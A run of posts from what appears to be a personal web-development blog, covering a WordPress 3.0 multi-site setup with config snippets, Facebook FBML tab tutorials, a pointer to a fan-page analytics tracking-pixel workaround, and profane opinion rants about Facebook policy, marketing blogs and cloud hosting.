Good news, everyone! My compulsive need to make websites and write content has struck again, this time resulting in my new site, FBMHell.Com, which I hope will evolve into a great resource for Facebook developers, whether you’re an app developer or fan page designer.

It’s literally just been launched, so I’m looking for your help. I’ll be going through some older posts and rounding up the questions that seem to come up often and writing up answers for the new site, but if there’s a burning question you’ve had for a while and haven’t been able to find an answer for, let me know in the comments.

One that comes up often is whether or not you can include an IFRAME in a tab, so don’t ask that one It’s already on deck.

I’m looking for all kinds of questions, ranging from the complicated to the more basic, so don’t be afraid to ask. More complicated tutorials (similar to what I’ve posted in the past regarding app development and complex mini-sites on tabs) will take a little longer, so be patient, and remember to subscribe to the RSS feed so you’ll get all the latest posts.

Categories will be added as content demands, of course.

I really want this site to be a great resource for everyone (including myself, as a repository of stuff I know works), so I’m looking forward to your feedback!

Also keep your eyes peeled for the launch of FBMLWizard, a drag+drop Facebook fan page tab builder.  I’ll update you here when it’s ready.

Possibly related posts:

1. Introducing TehAwesome.Net While Snipe.Net covers lots of tech topics and reviews, I’ve...
2. Want to Set a Default Landing Tab on Your Facebook Fan Page? It’ll Cost You You’re gonna love this. And by love I mean be...
3. Extending Facebook Static FBML Tabs with Dynamic Content This tutorial walks you through how to use DynamicFBML to...

WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you’re in for if you choose to do the same.

Previously, if you wanted to run multiple sites from one core installation of WordPress, you would install WPMU.

I had tossed that idea around a lot over the past year, since I run several websites that run on WordPress, but I had heard from enough people who ran into plugin/MU conflict issues that made things go ‘splody ‘splody that I opted not to. So instead, every time a new version of WordPress came out, I’d end up upgrading around 20 installs. Blech.

With version 3.0 of WordPress, the ability to create multiple sites using one install of WordPress is built right into the core, so no need to fool around with WPMU. The temptation was too great this time, so I decided to give it a whack. It was not what I would call a smooth process, but it wasn’t terrible either.

STOP: If you are already running WPMU and you just want to figure out how to upgrade your existing WPMU sites to WordPress 3.0, you’re reading the wrong article. Try this one instead.

Goals

What I wanted to get out of this was to have one main core install, but run multiple sites on their own domains that all pulled from that main core, so upgrading to later versions would mean upgrading one core instead of a dozen or two. These properties remaining at their current separate domain names (such as www.crankyhaiku.com, www.geekhaiku.com etc) was critical, both because of search engine optimization and for branding reasons.

Upgrading

The normal upgrade part was flawless, as WordPress upgrades tend to be these days. Automatic upgrade has never quite worked for me, so I always do a manual upgrade. It takes longer to upload the files, but it’s a pretty painless process. So to upgrade to 3.0, I did the usual:

• backup (which I didn’t actually have to do, since I automatically backup to the Amazon Cloud every night using Automatic WordPress Plugin) but I’m paranoid
• delete the wp-admin directory
• delete the wp-includes directory
• upload everything in the WordPress package – except for wp-content – to the web root
• hit the upgrade script to trigger the database updates

Flawless, as usual. Not so much as a hiccup. Now came the trickier part – adding the “Network” functionality previously available in WPMU to start to consolidate sites.

Creating a Multi-Site Network

I can’t speak for how easy or difficult this normally was with WPMU, so unfortunately I can’t tell you how this process compares to a normal WPMU setup. It wasn’t awful, but it was definitely buggy.

The WordPress documentation on Creating a Network walks through the basics well enough, so I suggest you start there so you know what to expect.

Note: You will not be able to go through the wizard in your WordPress admin until you deactivate ALL of your plugins. You can obviously re-enable them later, but I found that many of them did not keep their original settings.

I suspect this might be because I chose “network activate” instead of just plain “activate”. I had wanted to make those plugins available for all sites in the network, and didn’t realize that it would wipe out my existing snipe.net settings when I did so. Oh well. (Incidentally, that explains why you might see some weird stuff on the site until I have a chance to go through everything one by one. Double “related posts” bits at the end of the articles, Apture wasn’t working, etc.) All of the settings are fixable, but it may take you a little time to figure out what’s been lost, and what you have to do to set it back to the way it was before.

Editing Your wp-config.php

Beyond the setup in your WordPress admin, you’ll need to make a few changes to your wp-config.php file and your htaccess file. I hadn’t updated my wp-config for several versions, so I decided to use the wp-config-sample.php file and just pull my existing database variables over. Whether you use your old wp-config.php or start fresh with the stock WordPress sample, you’ll need to add the following to your wp-config.php, just above the comment that says “/* That’s all, stop editing! Happy blogging. */”

define( 'MULTISITE', true );
define( 'SUBDOMAIN_INSTALL', true );
$base = '/';
define( 'DOMAIN_CURRENT_SITE', 'www.yoursite.com' );
define( 'PATH_CURRENT_SITE', '/' );
define( 'SITE_ID_CURRENT_SITE', 1 );
define( 'BLOG_ID_CURRENT_SITE', 1 );

If you followed my suggestion and read the WordPress documentation on creating a network (you did read that, right?), you’ll see that you have two choices for how your network will be set up: sub-domain (blah1.yourdomain.com, blah2.yourdomain.com) or directory-based (yourdomain.com/blah1, yourdomain.com/blah2). Make sure you think this one through before you get started, since there doesn’t seem to be an easy way to switch between the two.

As I mentioned, I didn’t want my sites to live at subdomain.snipe.net, or snipe.net/blogname – I wanted them to live at their own urls. I also didn’t want a bunch of crap littering up my document root. The easiest way to do this on Rackspace Cloud Sites is through a combination of setting up a site alias, and using mod_rewrite to handle domains:

• Set up a domain alias, like secondblog.com, and point it to originalblog.com
• Modify the mod_rewrite rules in your htaccess access file
• In your site preferences, point the blog url to the aliased domain name

If you’re not on Rackspace Cloud Sites, you can just follow the directions in the WordPress documentation.

Tweaking Your .htaccess

You’ll need to make sure the bit below is in your htaccess file – but your WordPress Network Setup wizard will point that out to you anyway

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule . index.php [L]

One thing to look out for besides having to reset your plugin preferences: when I created my Network, setting this site as the default, it automatically tried to set the url as snipe.net/blog. I’m not sure why it did this, and I’m certain I didn’t add it anywhere, but when I committed the changeover to Network, all of my urls were broken (since snipe.net/blog/ doesn’t exist). It was a quick change that you can handle via the Settings menu, but watch out for it and be sure to test your links once you’ve made the switch.

Importing Blogs

Now that you’ve got a Network set up, you have actually add them to the Network so that they’re using the same core. I expected this to be a much bigger pain in the ass than it ended up being. All I had to do was go to the original admin, go to TOOLS > EXPORT and download the XML file. Then go into my WordPress 3.0 admin, select the site I wanted to admin, and go to TOOLS > IMPORT > WORDPRESS, and upload the XML file. Worked perfectly, so far as I can tell.

Security Notes

Consolidating all of your WordPress sites into one multi-site install has many benefits, the most obvious one being that it’s easier to maintain one core install than updating every single instance of WordPress you run. That said, you may want to consider a few things:

While one install is probably more “secure” than multi-installs in the real world simply because you’re more likely to keep one site updated than dozens, there are a few things to consider.

If you run multiple WordPress blogs under the same user (the same account, in Rackspace Cloud Sites), all of the files are owned by the same linux user and group. This means that if one of your WordPress installs ends up compromised, either because you forgot to upgrade one of them, or because of a vulnerability in your hosting company, once an attacker has access to one of your blog installs, they have access to any other files owned by that user. Which means all of your other blogs, even the ones that are running current WordPress versions.

Along this same line of thought, if you’re running multiple WordPress installs under different users and you end up consolidating them to take advantage of the multi-site functionality, do so understanding that in this scenario, all of your blogs will be owned by the same user/group in the same webspace, so one vulnerability could easily turn into a much bigger problem.

Conversely, tracking down backdoors and maliciously modified files could potentially be easier, since you have fewer installs to search through.

WordPress has been much better about quickly patching holes, and being proactive about finding vulnerabilities. If your site ends up getting hacked, these days it’s more likely to be a vulnerable plugin, an outdated install you forgot all about, or a PC virus that added your FTP login to a botnet – not the core WordPress install itself. I say this with a certain amount of confidence, since I have restored at least two-dozen hacked WordPress sites (not mine) since the beginning of the year, and have therefore spent countless hours investigating the attack, identifying the vector, and writing up summaries to post to badwarebusters.org in an effort to help other people facing the same hack.

To be clear, running a multi-site install isn’t any riskier than running multiple blogs under the same user. But if you’re currently running your blogs under different users, you should at least be aware of how that could potentially impact you.

Final Thoughts

My thought is that it might have been smarter to install WPMU, and then upgrade to 3.0, since the upgrade process for a WPMU setup to 3.0 seems like it was a little less wonky, but I don’t really know.

I’ve really only just started playing with this during the fragment of free time I had today (work has been brutal for the past month or so). So far, pulling the theme in has been as simple as downloading them from their respective old WordPress installs and uploading them to the new 3.0 themes directory and activating them so that they’re available to the rest of the sites in the network.

And certainly, if you’ve found an easier way to get this done, please let me know in the comments.

Possibly related posts:

1. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...
2. When Your WordPress Blog Gets Hacked It happens to most bloggers at some point – your...
3. Creating A WordPress Theme If you’ve already got some design chops and a WordPress...

You’re gonna love this. And by love I mean be filled with rage. I started receiving emails from people today, frustrated that they could no longer set a specific tab as their default landing tab in Facebook. Everyone assumed it was a bug. It’s not.

UPDATE May 20, 10:45AM: Facebook has actually apologized and done a complete 180 in the last 12 hours and they have reversed this decision. I’m leaving the original post up for reference, but as of right now, they have reverted back to the original way it worked, where any page admin can set default tabs, regardless of the size of their fan base.

From their developer forums:

As of last night, we’ve removed the recently-added authentication requirement for setting custom landing tabs on Pages. The requirement was instituted as part of a Pages quality initiative, and we apologize for the inconvenience this caused to our developer and business community. We are re-investigating the situation, and will not make any further changes without first giving our community standard notice and lead-time.

Thanks for all your feedback,
Matt Trainer

The Facebook platform is known for being exceptionally buggy, so most “me too”ers assumed it was a bug and patiently awaited a bug fix confirmation from Facebook. The question went unanswered for a day, until finally a Facebook employee dropped this bombshell.

Hello all,

We apologize for not messaging this earlier. Facebook recently made a change requiring that Pages be authenticated before enabling the ability to set a landing tab beyond Wall or Info. To be eligible for authentication, a Page must have greater than 10k fans or the Page admin must work with their ads account manager. If you are already working with an account representative, please contact that representative to begin the authentication process. If you do not work with an account representative, you can use this contact form to inquire about working with an account representative.

Also, for advertisers who don’t have a representative or 10k fans, and want to run ads and land users on a specific tab, you can still do so with standard Facebook ads by making their Destination URL as the URL incl. your tab. Unfortunately, this currently will not work with “Fan” ads.

Thanks,
Matt Trainer

What this means is that Facebook Fan Page admins can no longer specify a default landing tab for their fan page UNLESS they have 10k or more fans, OR they “have an account manager”. Having an account manager sounds great, right? The thing is, you have to spend at least $10k in Facebook advertising before they’ll even talk to you, let alone give you an account manager. That contact form leads to the “how much money are you willing to spend with us” form, and if your answer is less than $10k, don’t expect them to help you.

So once again, the little guy gets screwed. It started in November with their charges to their contest/promotional guidelines, which were also rolled out quietly with little or no notification to developers or users, which dictated something very similar. Certain types of promotions now have to be approved by an account manager. Only you don’t get an account manager unless you spend upwards of $10k in media buys.

Note that it appears as though this is only effective moving forward. If you’ve already set a default tab on your Facebook Fan page, they’re not going to take it away from you. At least not at this point. But as of yesterday, if you hadn’t already set a default tab, you won’t be able to do so without meeting one of the 10k requirements mentioned above.

I’m not even going to talk about the recent Facebook privacy issues. This isn’t the post for it, and honestly, I don’t have the energy to open that gigantic can of worms right now. But with those recent changes on top of this, I have to ask WTF they are thinking over there. Fuck you, Facebook.

Possibly related posts:

1. Static FBML: Not Every Facebook Fan Page Needs An Application You don’t always need a custom application for your Facebook...
2. Google Style Page Numbering (with x per page and y page numbers displayed) With just a few modifications, we can create a piece...
3. Unclutter Your Facebook Feed: Set FB Lite As Your Default Whether you’re on Facebook for fun or for work, chances...

In a previous tutorial, you learned how to Extend Facebook Static FBML Tabs with Dynamic Content, and now we’re back to show you how to take it even further by creating sub-nav tab navigation within your Static FBML microsite using only DynamicFBML.

The previous tutorial, I walked you through how to use clicktohide and clicktoshow to enhance your Facebook Fan Page tab. By utilizing these built-in Facebook functions, we can get creative and make image galleries, slide shows, or micro-sites within a single Facebook Fan Page tab. This is especially handy if you’re trying to fit a lot of content into a single tab, but don’t want to have one long scrolling mess of a tab. While hand-written FBJS is always an option, Facebook makes it really easy to accomplish this with only the most basic coding skills.

(That said, if you haven’t read the first tutorial, it will probably be helpful for you to read that one first before continuing with this one – I assume you understand the concept of clicktohide and clicktoshow here.)

So what you’ll end up with is a single Facebook Fan Page tab that has a “main” navigation that switches content within that single tab, and an additional subnavigation menu that switches content within that one section of the tabbed content. It sounds more confusing than it actually is – click here for a demo.

This is what we created in the previous tutorial:

And this is what we’re going to create in this one:

Similar to the example in the first tutorial, we’re going to do all of this magic simply by using CSS, HTML and the clicktohide and clicktoshow functions. In fact, what we’re doing here isn’t that different at all from what we did the first time, but I get a metric-assload of emails asking me how to to it, so here it is.

<!-- Now set the main tab navigation -->
<a href="#" clicktoshow="nav1" clicktohide="nav2,nav3">Home</a>
<a href="#" clicktoshow="nav2" clicktohide="nav1,nav3">Demo Tab</a>
<a href="#" clicktoshow="nav3" clicktohide="nav1,nav2">Locations</a>
<br />
<br />

<!-- start the div for the first main nav tab - nav1 -->
<div id="nav1">
	<p>Home content</p>
</div>
<!-- end the div for the first main nav tab - nav1 -->

<!-- start the div for the second main nav tab - nav2 -->
<div id="nav2" style="display: none;">
	<h1>Example Tabbed Subnav in Microsite</h1>
	<hr />
	<a href="#" clicktoshow="tab2subnav1" clicktohide="tab2subnav2,tab2subnav3">Subnav One</a>
	<a href="#" clicktoshow="tab2subnav2" clicktohide="tab2subnav1,tab2subnav3">Subnav Two</a>
	<a href="#" clicktoshow="tab2subnav3" clicktohide="tab2subnav1,tab2subnav2">Subnav Three</a>
	<hr />
	<br />

	<!-- start the div for the first subnav tab - tab2subnav1 -->
	<div id="tab2subnav1">
		<p>Subnav one content</p>
	</div>
	<!-- end the div for the first subnav tab - tab2subnav1 -->

	<!-- start the div for the second subnav tab - tab2subnav2 -->
	<div id="tab2subnav2" style="display: none;">
		<p>Subnav two content</p>
	</div>
	<!-- end the div for the second subnav tab - tab2subnav2 -->

	<!-- start the div for the third subnav tab - tab2subnav3 -->
	<div id="tab2subnav3" style="display: none;">
		<p>Subnav three content</p>
	</div>
	<!-- end the div for the third subnav tab - tab2subnav3 -->
</div>
<!-- end the div for the second main nav tab - nav2 -->

<!-- start the div for the third main nav tab - nav3 -->
<div id="nav3" style="display: none;">
	<h1>Locations</h1>
	<p>Locations content</p>
</div>
<!-- end the div for the third main nav tab - nav3 -->

And that’s it. That’s the whole code snippet. For clarity, I have stripped out all of the extra styling, text and fancy button treatments. If you want the exact code used for the demo, scroll down further in the page – I’ve included that as well.

I’ve commented the code pretty liberally, but just to recap what we’ve done, we created the normal main microsite divs, nav1, nav2, and nav3. These are the “buckets” that contain the top-level “tabs”, same as we did in the first tutorial. What we’ve added is a second, smaller set of buckets and corresponding nav. We use the exact same method of clicktohide and clicktoshow – the only different is what we’ve name the smaller bucket divs, and where they live. The div structure works out to be something like this:

[nav1 div]
– nav 1 content
[/nav1 div]

[nav 2 div]
– [subnav 1 div]
– subnav 1 content
– [/subnav 1 div]

– [subnav 2 div]
– subnav 2 content
– [/subnav 2 div]

– [subnav 3 div]
– subnav 3 content
– [/subnav 3 div]

[nav3 div]
– nav 3 content
[/nav3 div]

As promised, here’s the exact code snippet, line by line, that was used to create the demo page.

<!-- let's set the style for those fancy buttons -->
<style type="text/css">
.awesome, .awesome:visited {
	background: #222 url(http://www.snipe.net/wp-content/uploads/2009/10/alert-overlay.png) repeat-x;
	display: inline-block;
	padding: 5px 10px 6px;
	color: #fff;
	text-decoration: none;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.5);
	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.5);
	text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
	border-bottom: 1px solid rgba(0,0,0,0.25);
	position: relative;
	cursor: pointer;
}

.awesome:hover {
background-color: #111; color: #fff;
}

.awesome:active {
top: 1px;
}

.awesome, .awesome:visited, .medium.awesome, .medium.awesome:visited {
font-size: 13px;
font-weight: bold;
line-height: 1;
text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
background-color: #630030;
}

.large.awesome, .large.awesome:visited {
font-size: 14px;
padding: 8px 14px 9px;
}

h1 {
color: #a9014b; font-size: 26px;
}

p {
font-size: 15px;
}
</style>

<!-- Now set the main tab navigation -->
<strong><a href="#" clicktoshow="nav1" clicktohide="nav2,nav3" class="large awesome">Home</a></strong>
<strong><a href="#" clicktoshow="nav2" clicktohide="nav1,nav3" class="large awesome">Demo Tab</a></strong>
<strong><a href="#" clicktoshow="nav3" clicktohide="nav1,nav2" class="large awesome">Locations</a></strong>
<br />
<br />

<!-- start the div for the first main nav tab - nav1 -->
<div id="nav1">
	<img src="http://www.snipe.net/wp-content/uploads/2009/10/alison-fixed1.jpg" align="right"/>
	<h1>Default Content </h1>
	<p>Click on the "Demo Tab" above  to see an example of
	multi-level tabbing in a purely FBML microsite.
	With a little practice and patience, you could
	recreate a fairly large website using this method.
	(The content of these subnavs are quotes from
	Monty Python and the Holy Grail, for your entertainment.)</p>
</div>
<!-- end the div for the first main nav tab - nav1 -->

<!-- start the div for the second main nav tab - nav2 -->
<div id="nav2" style="display: none;">
	<h1>Example Tabbed Subnav in Microsite</h1>
	<hr />
	<strong><a href="#" clicktoshow="tab2subnav1" clicktohide="tab2subnav2,tab2subnav3" class="medium awesome">Subnav One</a></strong>
	<strong><a href="#" clicktoshow="tab2subnav2" clicktohide="tab2subnav1,tab2subnav3" class="medium awesome">Subnav Two</a></strong>
	<strong><a href="#" clicktoshow="tab2subnav3" clicktohide="tab2subnav1,tab2subnav2" class="medium awesome">Subnav Three</a></strong>
	<hr />
	<br />

	<!-- start the div for the first subnav tab - tab2subnav1 -->
	<div id="tab2subnav1">
		<p style="color: red; text-weight: bold;">Hey, this
		is the content for <strong>Subnav One</strong>!
		You can put photos, text, even videos in here.</p>
		<p>Bravely bold Sir Robin rode forth from Camelot.
		He was not afraid to die, oh brave Sir Robin.
		He was not at all afraid to be killed in nasty ways,
		brave, brave, brave, brave Sir Robin.
		He was not in the least bit scared to be mashed
		into a pulp, or to have his eyes gouged out,
		and his elbows broken. To have his kneecaps
		split, and his body burned away, and his limbs
		all hacked and mangled, brave Sir Robin.
		His head smashed in and heart cut out, and his
		liver removed, and his bowels unplugged, and
		his nostrils raped and his bottom burned off and his penis... </p>
	</div>
	<!-- end the div for the first subnav tab - tab2subnav1 -->

	<!-- start the div for the second subnav tab - tab2subnav2 -->
	<div id="tab2subnav2" style="display: none;">
		<p style="color: blue; text-weight: bold;">Hey,
		this is the content for <strong>Subnav Two</strong>!
		You can put photos, text, even videos in here.</p>
		<p>When I first came here, this was all swamp. Everyone
		said I was daft to build a castle on a swamp,
		but I built in all the same, just to show them. It sank
		into the swamp. So I built a second one.
		That sank into the swamp. So I built a third.
		That burned down, fell over, then sank into
		the swamp. But the fourth one stayed up. And that's
		what you're going to get, Lad, the strongest castle in
		all of England. </p>
	</div>
	<!-- end the div for the second subnav tab - tab2subnav2 -->

	<!-- start the div for the third subnav tab - tab2subnav3 -->
	<div id="tab2subnav3" style="display: none;">
		<p style="color: green; text-weight: bold;">Hey,
		this is the content for <strong>Subnav Three</strong>!
		You can put photos, text, even videos in here.</p>
		<p>Follow. But. Follow only if ye be men of valour,
		for the entrance to this cave is guarded by a
		creature so foul, so cruel that no man yet has fought
		with it and lived. Bones of full fifty men
		lie strewn about its lair. So, brave knights, if you
		do doubt your courage or your strength,
		come no further, for death awaits you all with
		nasty, big, pointy teeth. </p>
	</div>
	<!-- end the div for the third subnav tab - tab2subnav3 -->
</div>
<!-- end the div for the second main nav tab - nav2 -->

<!-- start the div for the third main nav tab - nav3 -->
<div id="nav3" style="display: none;">
	<img src="http://www.snipe.net/wp-content/uploads/2009/10/alison-grr.jpg" align="right"/>
	<h1>Locations</h1>
	<p>This is the locations "page". You can put text, images, even video here.</p>
</div>
<!-- end the div for the third main nav tab - nav3 -->

The above is the exact code snippet I used to create that demo page, specifically. (In other words, please don’t email or comment asking me for the source. This is ALL there is, including the yummy button styling.)

As long as you properly nest your divs (and use valid HTML with no wonky or open tags), this will work every single time. The names of the divs don’t matter, as long as they match the clicktohide/clicktoshow div names you’re specifying in the nav.

If it doesn’t work when you try it, and you’re 100% sure you copy+pasted exactly from this tutorial, try again later. Sometimes Facebook has issues, and the only way to work around it is to wait until they’re not having issues.

I’d like to once again remind you that you’re not at all restricted to using the clicktohide and clicktoshow functions in the way I’ve outlined them here. My goal isn’t to show you the only things that are possible , but rather to get you familiar with the concepts so that you can use your own imagination and apply them in unique and exciting ways.

If you’ve done something cool with clcicktohide/clicktoshow (and let’s not forget clicktotoggle from the last tutorial), make sure you drop a link in the comments. I love to see what other people are working on. It makes my own raging Facebook development Hell a little easier to bear.

Possibly related posts:

1. Extending Facebook Static FBML Tabs with Dynamic Content This tutorial walks you through how to use DynamicFBML to...
2. Static FBML: Not Every Facebook Fan Page Needs An Application You don’t always need a custom application for your Facebook...
3. Creating a Multi-Level Listbox in PHP/mySQL This lets you create a nested multi-level category menu through...

Can you use Google Analytics on Facebook fan pages and fan page walls? You betcher sweet ass you can.

If you’ve ever created a Facebook fan page, you’ve probably realized that the “reporting” that Facebook provides is basically useless. Because Facebook limits the Javascript you can use on Fan Pages, you cannot implement your own analytics packages on fan pages. Or at least, that’s what they want you to believe.

For Facebook applications, there is an FBML tag that will allow you place your Google Analytics code on the canvas page – but this FBML will not work on fan pages, application tabs, or anywhere other than the canvas page.

Fortunately, implementing Google Analytics on your Facebook fan page is possible, with a little PHP trickery. The basic gist of the workaround is to include your Google Analytics code as an image instead of placing the javascript into the FBML code.

Rather than writing something from scratch, it makes more sense to direct you to a post on the Webdigi blog that offers a free set of PHP scripts that will let you do exactly that.

The long and short of what the guys over at Webdigi are doing with their scripts is simply to call a PHP script instead of an actual image file in the <img src> code. This is not unlike the “tracking pixels” that are often used in email newsletters, since Javascript is not an option there either. So the concept isn’t new, but it’s not common knowledge that it works on Facebook.

The PHP script they are calling contains the Google Analytics code, and accepts parameters so that you can re-use the script on multiple fan pages (or different pages in an application) simply by setting different parameters.

When your Static FBML tab, application tab or non-canvas app page loads, it loads that “image” as part of the page. That “image” then pings the PHP script, which pings Google Analytics. This could be adapted for other reporting systems as well, using the same concepts.

The guys do a nice job with their script, and they even offer a wizard that helps you figure out what you need to put where.

I had rigged up a script a few months ago, but I never really had the time to package it for the general public, make it easy to configure, and so on, so go ahead and check out their script package.

Using this method, you’ll even be able to set up funnels and goals for your Facebook fan page stats, and Webdigi offers a great breakdown on how to tell the difference between fan and non-fan activity on your fan pages in your reporting.

Enjoy!

Possibly related posts:

1. Static FBML: Not Every Facebook Fan Page Needs An Application You don’t always need a custom application for your Facebook...
2. No, No – Let Me Google That For You Have you ever had someone ask you the answer to...
3. Compare Website Stats Using Google Trends Google Trends has a newly-added ability to show unique visitor...

Let me start off by saying that this blog post is not meant as advice. Because if it were advice, the sheer magnitude of my hypocrisy would create a tear in the space-time continuum, and we’d all die. And while I’m all for causing the downfall of humanity, it’s not the right time. Yet.

Maybe it’s just me, but it sure seems like 95% of the blogs out there are complete and utter shit, although not for the reasons you probably think I mean. I’m not even counting blogs that have original-but-stupid ideas and opinions. I’m talking specifically about the blogs that have created an entire following around giving people advice that isn’t really advice.

“If you want to get more customers, you have to get their attention first!” No shit, sherlock.

“If you want to convert users to customers, you have to give them something of value.” Thanks, Captain Obvious.

“If you want to build your blog readership, write about what you know.”

Are you fucking kidding me? Seriously?  (And don’t even get me started on the search engine optimization people.)

I would rather read a blog that I patently disagree with, whose ideas are completely idiotic, than to read a blog that can’t manage a single fucking original thought once in a while. Even if you can’t be right, at least be original for fuck’s sake.

Blogging has turned into a festering cesspool of people who are exalted as brilliant because they say exactly what people already know. “Wow – I couldn’t agree more! He’s so smart!”

And that’s why it works. People like to feel smart, so when others post something they agree with, they feel good that their completely obvious idea has been validated by someone else. Nevermind the fact that it was validated by someone else because it’s COMMON FUCKING SENSE. It’s like watching an episode of Crossing Over with John Edwards. “I’m sensing a name that starts with J…. John… James… Jerry… ”

If the people reading these blogs actually feel like they have stumbled across some hidden nugget of wisdom, they should probably reconsider a career in marketing and start thinking about one that involves a name tag, and memorizing the phrase “Do you want fries with that?”

The only thing that annoys me more than the people who post this drivel are the thousands of people who don’t realize that they are seriously overestimating their own potential, and who only encourage bloggers to post more of this crap by telling them how wise they are.

That, and the irony of these bloggers telling people they need to be original and offer something of value in order to be successful.

It’s created this vile, retarded Ouroboros and it pisses me off.

People have made a career out of telling people what they already know because those people need and desire to be told what they already know. To that effect, I suppose they actually have at least taken their own advice. So that’s something. I guess. It’s become an insidious self-fulfilling prophesy. Jackholes who overstate the obvious become known for their wisdom by the dipshits who only think they’re wise because it wasn’t obvious to them.

Seriously, people. The very best marketers out there are the ones who understand human nature. They understand what makes people feel good, their selfish and petty motivations, their fears. They understand people, and it comes naturally to them.

If you’re not one of those people, find a new fucking career. And for the love of GOD stop blogging.

And stop reading blogs that try to convince you that you’re something more than the utterly average human being you really are. You will never be more than second-rate at your very, very best. On your very best day, you will be about as good at your job as a first year intern. Maybe. If you’re lucky. And if the intern is really high most of the time.

There’s no shame in admitting that marketing doesn’t come naturally to you. And if you’re really dead-set on this as your career path, spend your time reading psychology books, not blog posts by people who are no more qualified to be giving advice than you are. When you understand what motivates people, for good or evil, you become good at marketing. Whether you want to be or not.

If you need someone to tell you that social media only works when you are *social*, you’re a moron. If you believe that anyone who is telling you that you need to create fresh ideas with original thought is actually original or fresh, you’re a moron. And frankly, you deserve each other.

Put down the kool-aid, and go back to doing whatever the fuck it was you were doing for a living before the barrier to entry on the internet became low enough to let you start a blog.

Possibly related posts:

1. My favorite blogging tools With all the social networks out there, how do you...
2. Using Twitter for Business? Two interesting articles have come out recently, discussing tips and...
3. Facebook Connect – a More Authentic Web, Or Loss of Privacy? Facebook recently launched their new Facebook Connect API, which extends...

Okay, the cloud (or grid or whatever they’re calling it now) isn’t exactly a lie, but at least on a retail level, it hasn’t held up to the hype.

This is not going to be an overly technical article, mostly because I’m tired. I expect to get some nasty comments because I’m not citing specifics. Luckily for me, I have a thick skin. It’s more of a lament than anything else. I don’t even have the energy for a full-blown rant.

The grid/cloud – I’ll call it the groud for now – promises so much, and yet always seems to fall short, regardless of the provider.

I switched over to Rackspace Cloud Sites in January of last year. My motivation was not to get onto the zomgweb2point0cloudbbq, but it was the first Rackspace product that fit within my budget, and they had such a good reputation in the industry, it was worth a shot.

Overall, the service has been alright. MySQL failures about once a week on average, more often on bad weeks. They usually don’t last long, but they’re frequent enough to make me reconsider recommending them to the company I work for for hosting client projects. The “could not find a suitable node” problems are far less prevelant now than when I frst signed up, but many of my sites still seem sluggish, specifically WordPress sites. I have heard the same about sites running some of the other large open source projects, but I don’t run Joomla or Drupal, so I can’t speak to that.

By all accounts, Rackspace is a fantastic hosting company with spectacularly reliable service. Except for their cloud product. MySQL performance has consistently been poor and the source of performance bottlenecks. Their control doesn’t let you break down CPU usage (which directly impacts your monthly bill) by account, by script, by anything at all, actually, so your monthly bill ends up being somewhat of a mystery. To their credit, their team has worked with me personally to try to isolate any performance issues that could be optimized, but without one-on-one hand-holding, it’s a bit of a black box. Alarmingly, if your CPU usage starts to trend over what is covered by your monthly allotment covered in your fee, they don’t even email you to give you a heads up. You just get a lovely surprise at the beginning of your next billing cycle. My first month on their cloud, my hosting bill was more than twice the then-$100 monthly fee, based on my CPU overages, and I hadn’t received a single email. In fact, I don’t receive any billing emails at all. The only way I know how much I’ve paid for hosting is by looking at my bill. (I want to say in the beginning they did email me a warning or an invoice, but I haven’t received one in many months.) The funny thing is, I’d pay $200 a month if I’m getting what I need.

I started investigating Media Temple’s grid hosting, since I had heard so many good things about them. Unlike Rackspace Cloud Sites, they offer SSH and Subversion access and several features that are closer to a more traditional virtual hosting environment, with the cloud’s promise of scalability and performance. Another attractive feature they offer is the ability to add a MySQL container that takes your MySQL off the shared environment, so you have far more resources available to your database – a great idea for database-heavy applications. It seemed like the perfect solution.

Upon further investigation, colleagues who have tried Media Temple’s Grid Hosting services have largely been disappointed. Like Mosso/Rackspace Cloud, they are far more stable now than they were, but the same problems seem to come up. Latency (even with the MySQL container in many cases) and poor MySQL performance are cited thousands of times in forum posts and reviews. Media Temple, like Rackspace, is a well-respected company whose image is being tarnished by the inability for the groud to live up to the promises.

I fully understand that every single hosting company on the planet is going to have negative comments and reviews – any company that doesn’t is probably too good to be true. I also fully understand that most people only post comments and reviews when they’re pissed off, which can color the perception of onlookers. There have been positive reviews of both companies’ groud products, just not that many.

Part of my frustration comes from how these two companies (and I would assume many others) address the complaints of latency. When confronted with benchmarks, their answer is always that you can improve performance by optimizing your site. Obviously, you should always strive to optimize your site, that’s a no-brainer. But the reality seems to be that (for example) a barebones WordPress install with zero plugins and stock theme consistently runs significantly slower in the groud environment – at least with these two vendors – and their response to customers pointing this out is that they have to optimize.

I’m sorry, but that’s bullshit. If you’re promising scalability, you should be able to match the performance that any run-of-the-mill virtual host can provide at the very least. Scalability and performance is THE selling point for groud hosting, and yet that seems to be the area that all of the big providers fall woefully short with. If you’re offering groud and you don’t have performance/scalability, what the fuck is the point, exactly? And the kicker is that for a lot of the big guys, you can’t even GET a non-groud account these days. Everybody drank the fucking kool-aid.

Before you jump down my throat and tell me to get a VPS or dedicated server, let me stop you right there. I had one. I had one for years, starting with a dedicated server at a hosting company 12 years ago, to the one I bought the hardware for we built that shit from the ground up. But I’m a busy person, and I just don’t have the time to be a sysadmin on top of a developer, an information architect, a commuter, an activist, and all of the other things that I do. I specifically switched off my dedicated server to release myself from the headache that comes with to maintain a server. And frankly, if you don’t use it, you lose it. I haven’t had to do a lot of sysadmin work in the past year, and I’ve already forgotten a lot, a fact I was made painfully aware of this when setting up CentOS last night on Slicehost.

I am a firm believer that unlike, say a designer, you cannot be a good sysadmin if you’re only part-time. There’s too much to stay on top of, too many security issues, too many patches. Security itself is a full-time job and the bad guys still manage to get into even reasonably well-secured servers. So I’m not about to be a part-time sysadmin.

All of the large name companies with the best reputations offer more expensive dedicated/VPS servers, or groud – nothing in between anymore. Everyone’s version of “managed” services is now the groud. There are others that still offer traditional virtual hosting, but they’re not the kinds of companies that instill confidence with clients – or they charge by website, which quickly adds up when you have as many as I do. I ask my colleagues who they’re using, and invariably they’re unhappy with their hosting company, or they’re using a service/package that isn’t the right fit.

